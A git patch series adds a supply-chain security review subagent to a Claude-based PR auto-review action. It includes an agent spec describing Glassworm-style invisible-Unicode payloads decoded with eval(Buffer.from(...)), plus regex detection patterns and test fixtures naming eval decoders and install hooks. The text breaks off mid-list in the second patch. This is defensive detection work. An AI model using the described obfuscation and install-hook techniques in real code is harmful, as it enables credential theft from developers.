From 964f3e02490a5fcaed6a70a2596e8630f8f17fa0 Mon Sep 17 00:00:00 2001 From: ignaciosantise <25931366+ignaciosantise@users.noreply.github.com> Date: Wed, 25 Mar 2026 17:17:10 -0300 Subject: [PATCH 1/3] feat(auto-review): add supply-chain security subagent Add a conditional subagent that detects Glassworm campaign patterns and other supply-chain attack techniques during PR review. Triggers when dependency manifests, lockfiles, CI/build configs, or package manager configs change, or when patches contain suspicious patterns (eval, Buffer.from, codePointAt, install hooks). Co-Authored-By: Claude Opus 4.6 --- claude/auto-review/action.yml | 45 ++ .../auto-review/agents/review-supply-chain.md | 96 ++++ .../should-spawn-supply-chain.test.js | 420 ++++++++++++++++++ .../scripts/should-spawn-supply-chain.js | 227 ++++++++++ 4 files changed, 788 insertions(+) create mode 100644 claude/auto-review/agents/review-supply-chain.md create mode 100644 claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js create mode 100644 claude/auto-review/scripts/should-spawn-supply-chain.js diff --git a/claude/auto-review/action.yml b/claude/auto-review/action.yml index aa3cc8a..524d30a 100644 --- a/claude/auto-review/action.yml +++ b/claude/auto-review/action.yml @@ -35,6 +35,10 @@ inputs: description: "Force data classification agent regardless of heuristic" required: false default: "false" + force_supply_chain_agent: + description: "Force supply-chain security agent regardless of heuristic" + required: false + default: "false" runs: using: "composite" @@ -90,6 +94,23 @@ runs: echo "DATA_CLASSIFICATION_REASON=$REASON" >> $GITHUB_ENV echo "Data classification agent: spawn=$SPAWN reason=\"$REASON\"" + - name: Determine if supply-chain security agent should spawn + shell: bash + env: + GH_TOKEN: ${{ github.token }} + GITHUB_TOKEN: ${{ github.token }} + GITHUB_REPOSITORY: ${{ github.repository }} + GITHUB_EVENT_PATH: ${{ github.event_path }} + FORCE_SUPPLY_CHAIN_AGENT: ${{ inputs.force_supply_chain_agent }} + run: | + SCRIPT_PATH="${{ github.action_path }}/scripts/should-spawn-supply-chain.js" + RESULT=$(node "$SCRIPT_PATH") + SPAWN=$(echo "$RESULT" | jq -r '.spawn') + REASON=$(echo "$RESULT" | jq -r '.reason') + echo "SPAWN_SUPPLY_CHAIN=$SPAWN" >> $GITHUB_ENV + echo "SUPPLY_CHAIN_REASON=$REASON" >> $GITHUB_ENV + echo "Supply-chain security agent: spawn=$SPAWN reason=\"$REASON\"" + - name: Set up review prompt shell: bash run: | @@ -250,6 +271,30 @@ runs: - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW" fi + # Conditionally add supply-chain security subagent instructions + if [[ "$SPAWN_SUPPLY_CHAIN" == "true" ]]; then + PROMPT="$PROMPT + + --- + + ## SUPPLY-CHAIN SECURITY SUBAGENT + + Based on PR analysis: ${SUPPLY_CHAIN_REASON} + + Spawn ONE specialized subagent to check for supply-chain attack patterns (Glassworm campaign and similar). + + ### Instructions: + Use the Task tool with subagent_type=\"general-purpose\" to launch the agent. In the prompt include: + 1. \"Read your spec file at ${{ github.action_path }}/agents/review-supply-chain.md and follow its instructions.\" + 2. PR number: ${{ github.event.pull_request.number }}, Repository: ${{ github.repository }} + 3. The list of changed files in this PR + + After the agent completes, merge its findings into your consolidated output. + - Use the agent's scl- prefixed IDs as-is + - Deduplicate if you found the same issue independently (prefer scl- prefixed ID) + - Sort all findings by severity: CRITICAL > HIGH > MEDIUM > LOW" + fi + # Add project context if [[ -n "${{ inputs.project_context }}" ]]; then PROMPT="$PROMPT diff --git a/claude/auto-review/agents/review-supply-chain.md b/claude/auto-review/agents/review-supply-chain.md new file mode 100644 index 0000000..9c779b4 --- /dev/null +++ b/claude/auto-review/agents/review-supply-chain.md @@ -0,0 +1,96 @@ +# Supply-Chain Security Review Agent + +You are a specialized supply-chain security reviewer for pull requests. Your job is to detect patterns associated with the Glassworm campaign and other supply-chain attack techniques that exploit invisible code, malicious install hooks, and obfuscated payloads. + +## Background + +The Glassworm campaign compromises repositories by injecting payloads hidden with invisible Unicode characters (PUA range U+FE00–U+FE0F, U+E0100–U+E01EF). The payloads are decoded at runtime via `eval(Buffer.from(...))` and exfiltrate credentials via Solana smart contracts. Malicious commits are often wrapped in legitimate-looking changes (docs, version bumps, refactors). + +## Focus Areas + +### 1. Install Hooks + +If any `package.json` file is changed, check whether `preinstall`, `postinstall`, or `preuninstall` scripts were added or modified. Flag these as HIGH severity unless there is a clear, documented reason for the hook (e.g., native module compilation for well-known packages like `esbuild`, `sharp`, `bcrypt`). + +### 2. Suspicious eval Patterns + +- Flag any new usage of `eval()`, `new Function()`, or `Function()` in the diff +- Flag any `Buffer.from()` combined with `eval()` — the standard Glassworm decoder pattern — as CRITICAL +- Flag any `codePointAt()` usage referencing hex ranges `0xFE00`–`0xFE0F` or `0xE0100`–`0xE01EF` as CRITICAL +- Flag `eval()` with template literals as HIGH + +### 3. Lockfile Anomalies + +- If lockfiles (`package-lock.json`, `pnpm-lock.yaml`, `yarn.lock`) are changed but `package.json` dependencies/devDependencies are NOT changed, flag as suspicious +- If new dependencies are added, verify they are well-known packages and not potential typosquats (e.g., `lodahs` instead of `lodash`, `c0lors` instead of `colors`) + +### 4. Byte-Count Cross-Check + +For any file in the diff that contains apparently empty lines, empty strings, or template literals with no visible content, use bash to check the actual byte count: + +```bash +wc -c +cat | tr -cd '[:print:]\n' | wc -c +``` + +If a file's total byte count is disproportionately large relative to its visible/printable content (e.g., a line with <10 visible characters but >500 bytes), flag as **CRITICAL — potential obfuscated payload**. + +### 5. CI/Build Configuration Changes + +Be suspicious of PRs that modify: +- `.github/workflows/` files +- `Dockerfile` / `docker-compose.yml` +- `Makefile` / build scripts +- Gradle/Cargo/Pod configuration files + +Without a clear feature or fix justification. Especially flag PRs where a contributor modifies both source code AND CI configuration in ways that reduce security checks or add new script execution paths. + +## False-Positive Guardrails + +**CRITICAL: Minimize false positives. Follow these rules strictly:** + +- **Read full file context**, not just the diff. A `postinstall` hook for `prisma generate` is legitimate. +- **Don't flag test fixtures**: Test files demonstrating security patterns (e.g., testing an eval sanitizer) are expected. +- **Don't flag documentation**: Markdown files discussing eval or security topics are not threats. +- **Don't flag well-known build tools**: `esbuild`, `sharp`, `node-gyp`, `prisma`, and similar packages legitimately use postinstall hooks. +- **Lockfile changes during dependency updates are normal**: Only flag lockfile-only changes when `package.json` deps are unchanged. +- **CI changes with clear commit messages are usually fine**: Focus on changes that remove security steps, add script execution, or modify permissions without explanation. + +## Severity Mapping + +- **CRITICAL**: Invisible Unicode in source, eval+Buffer.from decoder, byte-count anomalies (obfuscated payloads) +- **HIGH**: Install hooks without justification, eval with template literals, new `Function()` usage +- **MEDIUM**: Lockfile anomalies, CI config changes reducing security, suspicious typosquat-like dependency names +- **LOW**: CI config additions with unclear justification, minor eval patterns in non-sensitive contexts + +## Output Format + +Use the same `#### Issue N:` format as the main review. **All IDs MUST use the `scl-` prefix.** + +``` +#### Issue N: Brief description of the supply-chain concern +**ID:** scl-{file-slug}-{semantic-slug}-{hash} +**File:** path/to/file.ext:line +**Severity:** CRITICAL/HIGH/MEDIUM/LOW +**Category:** supply_chain_security + +**Context:** +- **Pattern:** What supply-chain attack pattern was detected +- **Risk:** Why this is concerning (reference Glassworm or other known campaigns) +- **Impact:** Potential consequences (credential theft, self-propagation, backdoor) +- **Trigger:** When this becomes exploitable (on install, on import, on build) + +**Recommendation:** How to investigate and remediate (inspect bytes, remove hook, audit dependency, etc.) +``` + +**ID Generation:** `scl-{filename}-{2-4-key-terms}-{SHA256(path+desc).substr(0,4)}` +Examples: +- `scl-package-postinstall-hook-a3f1` +- `scl-index-eval-buffer-decoder-b2c4` +- `scl-lockfile-phantom-dep-e7d2` + +## If No Supply-Chain Issues Found + +If you find no supply-chain security issues after thorough analysis, respond with exactly: + +"No supply-chain security issues found." diff --git a/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js new file mode 100644 index 0000000..c4a8847 --- /dev/null +++ b/claude/auto-review/scripts/__tests__/should-spawn-supply-chain.test.js @@ -0,0 +1,420 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { shouldSpawnSupplyChain, fetchPrFiles, fetchPrLabels } from '../should-spawn-supply-chain.js'; +import { ghApi } from '../lib/github-utils.js'; + +vi.mock('../lib/github-utils.js', async () => { + const actual = await vi.importActual('../lib/github-utils.js'); + return { + ...actual, + ghApi: vi.fn(), + }; +}); + +describe('shouldSpawnSupplyChain', () => { + // ---- Dependency file triggers --------------------------------------------- + + it('should spawn for package.json changes', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for nested package.json', () => { + const files = [{ filename: 'packages/core/package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pnpm-lock.yaml changes', () => { + const files = [{ filename: 'pnpm-lock.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for yarn.lock changes', () => { + const files = [{ filename: 'yarn.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for package-lock.json changes', () => { + const files = [{ filename: 'package-lock.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Cargo.toml changes', () => { + const files = [{ filename: 'Cargo.toml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Cargo.lock changes', () => { + const files = [{ filename: 'Cargo.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for go.mod changes', () => { + const files = [{ filename: 'go.mod', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for go.sum changes', () => { + const files = [{ filename: 'go.sum', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Gemfile changes', () => { + const files = [{ filename: 'Gemfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for build.gradle changes', () => { + const files = [{ filename: 'build.gradle', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for build.gradle.kts changes', () => { + const files = [{ filename: 'app/build.gradle.kts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pom.xml changes', () => { + const files = [{ filename: 'pom.xml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for Podfile changes', () => { + const files = [{ filename: 'ios/Podfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pubspec.yaml changes', () => { + const files = [{ filename: 'pubspec.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + it('should spawn for pubspec.lock changes', () => { + const files = [{ filename: 'pubspec.lock', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + }); + + // ---- CI/build config triggers --------------------------------------------- + + it('should spawn for GitHub workflow changes', () => { + const files = [{ filename: '.github/workflows/ci.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Dockerfile changes', () => { + const files = [{ filename: 'Dockerfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for nested Dockerfile changes', () => { + const files = [{ filename: 'services/api/Dockerfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for docker-compose.yml changes', () => { + const files = [{ filename: 'docker-compose.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for docker-compose.yaml changes', () => { + const files = [{ filename: 'docker-compose.yaml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Makefile changes', () => { + const files = [{ filename: 'Makefile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should spawn for Jenkinsfile changes', () => { + const files = [{ filename: 'Jenkinsfile', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('CI/build configuration'); + }); + + // ---- Package manager config triggers -------------------------------------- + + it('should spawn for .npmrc changes', () => { + const files = [{ filename: '.npmrc', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('package manager configuration'); + }); + + it('should spawn for .yarnrc.yml changes', () => { + const files = [{ filename: '.yarnrc.yml', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('package manager configuration'); + }); + + // ---- Patch content triggers ----------------------------------------------- + + it('should spawn when patch contains eval()', () => { + const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+ eval(code)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains new Function()', () => { + const files = [{ filename: 'src/utils.js', status: 'modified', patch: '+ new Function("return " + str)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains Buffer.from', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ Buffer.from(data, "base64")' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains codePointAt', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ str.codePointAt(i)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains fromCharCode', () => { + const files = [{ filename: 'src/decode.js', status: 'modified', patch: '+ String.fromCharCode(code)' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains hex escape sequences', () => { + const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+ "\\x48\\x65\\x6c\\x6c\\x6f"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains unicode escape sequences', () => { + const files = [{ filename: 'src/payload.js', status: 'modified', patch: '+ "\\u0048\\u0065"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should spawn when patch contains postinstall', () => { + const files = [{ filename: 'src/setup.js', status: 'modified', patch: '+ "postinstall": "node setup.js"' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('suspicious code patterns'); + }); + + // ---- Non-matching files --------------------------------------------------- + + it('should not spawn for regular source code without suspicious patterns', () => { + const files = [{ filename: 'src/utils.ts', status: 'modified', patch: '+ return x + y;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('No supply-chain signals'); + }); + + it('should not spawn for CSS files', () => { + const files = [{ filename: 'src/styles.css', status: 'modified', patch: '+ color: red;' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('No supply-chain signals'); + }); + + // ---- Empty / null / undefined files --------------------------------------- + + it('should not spawn for empty files array', () => { + const result = shouldSpawnSupplyChain([]); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + it('should not spawn for null files', () => { + const result = shouldSpawnSupplyChain(null); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + it('should not spawn for undefined files', () => { + const result = shouldSpawnSupplyChain(undefined); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('No files in PR'); + }); + + // ---- skip-review label ---------------------------------------------------- + + it('should not spawn when skip-review label is present', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'] }); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('skip-review label present'); + }); + + it('should not spawn when skip-review label is among multiple labels', () => { + const files = [{ filename: 'package.json', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['enhancement', 'skip-review', 'urgent'] }); + expect(result.spawn).toBe(false); + expect(result.reason).toBe('skip-review label present'); + }); + + // ---- Force flag ----------------------------------------------------------- + + it('should spawn when force flag is set even with no matching files', () => { + const files = [{ filename: 'README.md', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { force: true }); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('forced'); + }); + + it('should spawn when force flag is set even with skip-review label', () => { + const files = [{ filename: 'src/app.ts', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files, { labels: ['skip-review'], force: true }); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('forced'); + }); + + // ---- Docs-only exclusions ------------------------------------------------- + + it('should not spawn for docs-only changes', () => { + const files = [{ filename: 'README.md', status: 'modified' }]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('documentation-only'); + }); + + it('should not spawn for multiple docs-only changes', () => { + const files = [ + { filename: 'README.md', status: 'modified' }, + { filename: 'docs/guide.txt', status: 'added' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(false); + expect(result.reason).toContain('documentation-only'); + }); + + // ---- Combined reasons ----------------------------------------------------- + + it('should combine reasons for multiple trigger types', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: '.github/workflows/ci.yml', status: 'modified' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('CI/build configuration'); + }); + + it('should combine file and patch triggers', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: 'src/init.js', status: 'modified', patch: '+ eval(payload)' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('suspicious code patterns'); + }); + + it('should combine all three trigger types', () => { + const files = [ + { filename: 'package.json', status: 'modified' }, + { filename: '.github/workflows/deploy.yml', status: 'modified' }, + { filename: '.npmrc', status: 'added' }, + { filename: 'src/init.js', status: 'modified', patch: '+ eval(Buffer.from(data))' }, + ]; + const result = shouldSpawnSupplyChain(files); + expect(result.spawn).toBe(true); + expect(result.reason).toContain('dependency manifest/lockfile'); + expect(result.reason).toContain('CI/build configuration'); + expect(result.reason).toContain('package manager configuration'); + expect(result.reason).toContain('suspicious code patterns'); + }); +}); + +describe('fetchPrFiles', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('should call ghApi with correct endpoint', () => { + ghApi.mockReturnValue([{ filename: 'test.js' }]); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } }; + const result = fetchPrFiles(context); + expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/pulls/42/files'); + expect(result).toEqual([{ filename: 'test.js' }]); + }); + + it('should return empty array when ghApi returns null', () => { + ghApi.mockReturnValue(null); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } }; + const result = fetchPrFiles(context); + expect(result).toEqual([]); + }); +}); + +describe('fetchPrLabels', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('should call ghApi and return label names', () => { + ghApi.mockReturnValue([{ name: 'bug' }, { name: 'security' }]); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 42 } }; + const result = fetchPrLabels(context); + expect(ghApi).toHaveBeenCalledWith('/repos/org/repo/issues/42/labels'); + expect(result).toEqual(['bug', 'security']); + }); + + it('should return empty array when ghApi returns null', () => { + ghApi.mockReturnValue(null); + const context = { repo: { owner: 'org', repo: 'repo' }, issue: { number: 1 } }; + const result = fetchPrLabels(context); + expect(result).toEqual([]); + }); +}); diff --git a/claude/auto-review/scripts/should-spawn-supply-chain.js b/claude/auto-review/scripts/should-spawn-supply-chain.js new file mode 100644 index 0000000..1d55c4d --- /dev/null +++ b/claude/auto-review/scripts/should-spawn-supply-chain.js @@ -0,0 +1,227 @@ +#!/usr/bin/env node + +/** + * Determine whether the supply-chain security subagent should be spawned + * based on PR file patterns and patch content indicators. + * + * Outputs JSON: { spawn: boolean, reason: string } + */ + +import { ghApi, loadGitHubContext, createLogger } from './lib/github-utils.js'; + +const logger = createLogger('should-spawn-supply-chain.js'); + +// ---- File pattern triggers ------------------------------------------------ + +/** + * Dependency manifest and lockfile basenames. + */ +const DEPENDENCY_FILES = new Set([ + 'package.json', + 'package-lock.json', + 'pnpm-lock.yaml', + 'yarn.lock', + 'go.mod', + 'go.sum', + 'Cargo.toml', + 'Cargo.lock', + 'Gemfile', + 'Gemfile.lock', + 'composer.json', + 'composer.lock', + 'pyproject.toml', + 'setup.py', + 'setup.cfg', + 'build.gradle', + 'build.gradle.kts', + 'pom.xml', + 'Podfile', + 'Podfile.lock', + 'pubspec.yaml', + 'pubspec.lock', +]); + +/** + * CI/build configuration patterns. + */ +const CI_BUILD_PATTERNS = [ + /^\.github\/workflows\//, + /(^|\/)Dockerfile/i, + /(^|\/)docker-compose\.ya?ml$/i, + /(^|\/)Makefile$/i, + /(^|\/)Jenkinsfile$/i, + /(^|\/)\.gitlab-ci\.ya?ml$/i, + /(^|\/)\.circleci\//i, +]; + +/** + * Script/build config basenames that could be attack vectors. + */ +const BUILD_SCRIPT_FILES = new Set([ + '.npmrc', + '.yarnrc', + '.yarnrc.yml', + '.pnpmrc', +]); + +// ---- Patch keyword triggers ----------------------------------------------- + +const SUSPICIOUS_PATCH_PATTERNS = [ + /eval\s*\(/, + /new\s+Function\s*\(/, + /Function\s*\(/, + /Buffer\.from/, + /codePointAt/, + /fromCharCode/, + /\\x[0-9a-fA-F]{2}/, + /\\u[0-9a-fA-F]{4}/, + /preinstall|postinstall|preuninstall/, +]; + +// ---- Skip conditions ------------------------------------------------------ + +const DOCS_ONLY_REGEX = /\.(md|txt|rst|adoc)$/i; + +// ---- Core decision function ----------------------------------------------- + +/** + * Determine whether the supply-chain security agent should be spawned. + * + * @param {Array} files - PR file objects from GitHub API (filename, status, patch) + * @param {Object} metadata - Additional metadata + * @param {string[]} [metadata.labels] - PR label names + * @param {boolean} [metadata.force] - Force spawn regardless of heuristic + * @returns {{ spawn: boolean, reason: string }} + */ +export function shouldSpawnSupplyChain(files, metadata = {}) { + const { labels = [], force = false } = metadata; + + // Force override + if (force) { + return { spawn: true, reason: 'forced via input' }; + } + + // Skip conditions + if (labels.includes('skip-review')) { + return { spawn: false, reason: 'skip-review label present' }; + } + + if (!files || files.length === 0) { + return { spawn: false, reason: 'No files in PR' }; + } + + // Check if all files are docs-only + const allDocs = files.every(f => DOCS_ONLY_REGEX.test(f.filename)); + if (allDocs) { + return { spawn: false, reason: 'All files are documentation-only' }; + } + + // Collect trigger reasons + const reasons = []; + const triggerHits = new Set(); + let hasSuspiciousPatterns = false; + + for (const file of files) { + const { filename, patch } = file; + const basename = filename.split('/').pop(); + + // Dependency files + if (DEPENDENCY_FILES.has(basename)) { + triggerHits.add('dependency manifest/lockfile changes'); + } + + // CI/build configs + for (const pattern of CI_BUILD_PATTERNS) { + if (pattern.test(filename)) { + triggerHits.add('CI/build configuration changes'); + break; + } + } + + // Build script configs + if (BUILD_SCRIPT_FILES.has(basename)) { + triggerHits.add('package manager configuration changes'); + } + + // Check patch content for suspicious patterns + if (patch) { + for (const pattern of SUSPICIOUS_PATCH_PATTERNS) { + if (pattern.test(patch)) { + hasSuspiciousPatterns = true; + break; + } + } + } + } + + if (triggerHits.size > 0) reasons.push(...triggerHits); + if (hasSuspiciousPatterns) reasons.push('suspicious code patterns in patch'); + + if (reasons.length > 0) { + return { spawn: true, reason: reasons.join(', ') }; + } + + return { spawn: false, reason: 'No supply-chain signals detected' }; +} + +// ---- GitHub API helpers --------------------------------------------------- + +/** + * Fetch PR files from GitHub API + * @param {Object} context - GitHub context + * @returns {Array} PR files + */ +export function fetchPrFiles(context) { + return ghApi( + `/repos/${context.repo.owner}/${context.repo.repo}/pulls/${context.issue.number}/files` + ) || []; +} + +/** + * Fetch PR labels from GitHub API + * @param {Object} context - GitHub context + * @returns {string[]} Label names + */ +export function fetchPrLabels(context) { + const labels = ghApi( + `/repos/${context.repo.owner}/${context.repo.repo}/issues/${context.issue.number}/labels` + ) || []; + return labels.map(l => l.name); +} + +// ---- CLI entry point ------------------------------------------------------ + +/** + * Main entry point + */ +export function main() { + const context = loadGitHubContext(); + + if (!context.issue.number) { + const result = { spawn: false, reason: 'Not a pull request event' }; + console.log(JSON.stringify(result)); + return result; + } + + const force = process.env.FORCE_SUPPLY_CHAIN_AGENT === 'true'; + const files = fetchPrFiles(context); + const labels = fetchPrLabels(context); + + const result = shouldSpawnSupplyChain(files, { labels, force }); + + logger.error(`Decision: spawn=${result.spawn}, reason="${result.reason}"`); + console.log(JSON.stringify(result)); + + return result; +} + +// Execute main() only when run directly +if (import.meta.url === `file://${process.argv[1]}`) { + try { + main(); + } catch (error) { + logger.error(`Error: ${error.message}`); + console.log(JSON.stringify({ spawn: false, reason: `Error: ${error.message}` })); + process.exit(0); + } +} From 2bef7e6b40fa3fdde82f7523355ac89706e6d823 Mon Sep 17 00:00:00 2001 From: ignaciosantise <25931366+ignaciosantise@users.noreply.github.com> Date: Thu, 26 Mar 2026 10:46:13 -0300 Subject: [PATCH 2/3] feat(auto-review): extend supply-chain subagent to multi-ecosystem Extend heuristic and agent spec beyond npm/JS to cover Rust (build.rs, proc-macro), Gradle (buildscript, apply plugin), CocoaPods (script_phase, prepare_command), Python (setup.py cmdclass, subprocess), and Go (//go:generate) auto-execution vectors. Fix 3 review findings: remove overly-broad Function() regex, tighten Buffer.from to eval(Buffer.from(...)) combo only, rewrite byte-count check to use Grep/Read instead of unavailable Bash tool. Co-Authored-By: Claude Opus 4.6 --- .../auto-review/agents/review-supply-chain.md | 155 +++++++++--- .../should-spawn-supply-chain.test.js | 220 +++++++++++++++++- .../scripts/should-spawn-supply-chain.js | 53 ++++- 3 files changed, 382 insertions(+), 46 deletions(-) diff --git a/claude/auto-review/agents/review-supply-chain.md b/claude/auto-review/agents/review-supply-chain.md index 9c779b4..f101e9f 100644 --- a/claude/auto-review/agents/review-supply-chain.md +++ b/claude/auto-review/agents/review-supply-chain.md @@ -1,67 +1,151 @@ # Supply-Chain Security Review Agent -You are a specialized supply-chain security reviewer for pull requests. Your job is to detect patterns associated with the Glassworm campaign and other supply-chain attack techniques that exploit invisible code, malicious install hooks, and obfuscated payloads. +You are a specialized supply-chain security reviewer for pull requests. Your job is to detect patterns associated with supply-chain attacks across all ecosystems — malicious install hooks, obfuscated payloads, invisible code injection, and build-time code execution. ## Background -The Glassworm campaign compromises repositories by injecting payloads hidden with invisible Unicode characters (PUA range U+FE00–U+FE0F, U+E0100–U+E01EF). The payloads are decoded at runtime via `eval(Buffer.from(...))` and exfiltrate credentials via Solana smart contracts. Malicious commits are often wrapped in legitimate-looking changes (docs, version bumps, refactors). +Supply-chain attacks exploit the trust developers place in their dependency ecosystem. Each package manager has its own auto-execution surface — code that runs automatically on install, build, or import without explicit user invocation. + +**The Glassworm campaign** (npm/Node.js) is one high-profile example: it injects payloads hidden with invisible Unicode characters (PUA range U+FE00–U+FE0F, U+E0100–U+E01EF), decoded at runtime via `eval(Buffer.from(...))`, and exfiltrates credentials via Solana smart contracts. But equivalent attack vectors exist in every ecosystem. + +**The invisible Unicode obfuscation technique is universal** — it works in any text file (`.kt`, `.swift`, `.rs`, `.dart`, `.py`, `.go`, etc.) because the characters are invisible in every editor and code review UI. ## Focus Areas -### 1. Install Hooks +### 1. Auto-Execution Vectors (Install Hooks & Build Scripts) + +Each ecosystem has files that run code automatically. Flag additions or modifications to these as HIGH unless clearly justified: + +**npm / pnpm / yarn:** +- `preinstall`, `postinstall`, `preuninstall` scripts in `package.json` +- These execute automatically on `npm install` / `pnpm install` / `yarn install` + +**Rust / Cargo:** +- `build.rs` build scripts — execute automatically during `cargo build` +- 